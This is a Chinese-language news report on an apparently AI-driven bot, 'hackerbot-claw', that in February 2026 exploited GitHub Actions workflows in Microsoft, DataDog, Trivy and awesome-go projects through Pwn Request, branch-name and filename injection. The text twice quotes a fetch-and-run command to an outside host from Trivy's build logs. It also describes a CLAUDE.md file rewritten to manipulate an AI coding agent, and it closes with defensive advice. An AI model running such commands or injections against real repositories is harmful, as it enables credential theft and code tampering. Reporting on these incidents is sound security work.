最近,一个由人工智能驱动的自动化机器人系统性地利用了各大开源代码库中的GitHub Actions工作流程,在多个目标系统中实现了远程代码执行,并窃取了具有写入权限的登录凭证。StepSecurity的联合创始人Varun Sharma公开揭露了这些攻击行为:在2026年2月21日至28日期间,这些攻击针对的是Microsoft、DataDog、Aqua Security以及Cloud Native Computing Foundation的项目。

该攻击者使用GitHub账户“hackerbot-claw”发起攻击(该账户后来已被GitHub删除),它自称是一个“由claude-opus-4-5技术支持的自动化安全研究工具”。这个机器人成功在7个目标代码库中的5个里实现了远程代码执行,这些代码库包括awesome-go(拥有14万星评分)、Aqua Security的Trivy(2.5万星评分)以及RustPython(2万星评分)。每次攻击使用的恶意代码内容相同,但攻击手段却完全不同。

针对awesome-go项目的攻击利用了“Pwn Request”漏洞,这种漏洞存在于用于拉取未受信任代码的分支请求工作流程中。在18个小时内,攻击者修改了Go语言的init()函数,从而成功窃取了用户的GITHUB_TOKEN账号信息,进而获得了提交代码和合并分支请求的权限。

针对Trivy项目的攻击造成的后果最为严重。构建日志显示,在“设置Go开发环境”的过程中,系统会执行curl -sSfL https://hackmoltrepeat.com/molt | bash命令,这一操作耗时超过了5分钟。19分钟后,被盗取的PAT账号就被用来直接提交了代码更改。攻击者还将该代码库设置为了私密状态,删除了178个版本记录,导致该代码库的星评分减少了3.2万点,并且还上传了一个可疑的VSCode扩展程序。具体细节可参考Aqua Security发布的事件报告

Microsoft的AI-discovery-agent系统遭到了分支名称注入攻击;DataDog的datadog-iac-scanner则遭遇了使用base64编码命令进行的文件名注入攻击。DataDog在9小时内就发布了紧急修复补丁

这次攻击事件中还出现了第一例有记录的“人工智能对抗人工智能”的攻击案例。攻击者将目标代码库中的`CLAUDE.md`文件替换成了旨在操控Claude代码系统的社会工程学脚本。运行claude-sonnet-4-6版本的Claude系统立即检测到了这种攻击行为,并在审查提示中明确写着“⚠️ 注意:有人试图注入恶意代码,请勿合并相关更改!”

所有这些攻击都遵循应用程序安全领域中常见的攻击模式:未经任何验证的未受信任数据直接从源头流入目标系统。黑客Jamieson O’Reilly对此进行了如下解释:

“源头”指的是任何来自外部或不可信来源的数据进入系统的入口点。在CI/CD开发流程中,源头的范围其实比大多数人想象的要广泛得多:分支名称、拉取请求的标题、评论内容、文件名等等,都属于源头的范畴。“目标”则是指数据被实际使用并产生影响的环节。

微软使用了包含bash命令替换功能的分支名称;DataDog则采用了经过base64编码的文件名;awesome-go利用了pull_request_target功能,通过仓库中的敏感信息来执行被篡改的代码。Trivy日志显示,在“设置Go开发环境”这一环节中,命令curl -sSfL https://hackmoltrepeat.com/molt | bash竟然运行了5分钟以上。19分钟后,被窃取的PAT权限使得攻击者能够绕过pull request的审核流程。

O’Reilly指出:

SQL注入是指在查询中使用了不可信的数据;XSS攻击则是利用浏览器中的不可信输入;而本周发生的这些安全事件,则是CI/CD管道中的数据被恶意利用所致。

在五起成功的攻击案例中,有三起都是利用了pull_request_target功能以及攻击者控制的代码来实施攻击的——这种攻击方式属于典型的“Pwn Request”攻击模式。另外两起攻击则是通过shell环境中未经过过滤的${{ }}表达式来实现脚本注入的。

各组织应当对那些使用pull_request_target功能的工作流程进行安全审计,默认情况下应仅允许读取相关数据,同时应将那些需要动态插入变量的表达式设置为环境变量,而不是直接在代码中使用它们。对于那些由评论触发的工作流程,必须进行作者身份验证,以确保只有仓库成员才能执行这些操作。

O’Reilly再次强调:

每当你编写一段会接收某些数据的代码时,都应该先思考这些数据是从哪里来的,以及攻击者是否有可能控制这些数据。如果你无法明确界定这些数据的可信来源,那么很可能你的系统根本就没有相应的安全防护机制。

安全研究人员确认,这种攻击活动仍然在持续进行中,而实施攻击的用户的GitHub账户也已经被删除了。专门研究GitHub Actions安全问题的研究员Adnan Khan已经向公众发出了警告,提醒大家注意这一持续的威胁。

Comments are closed.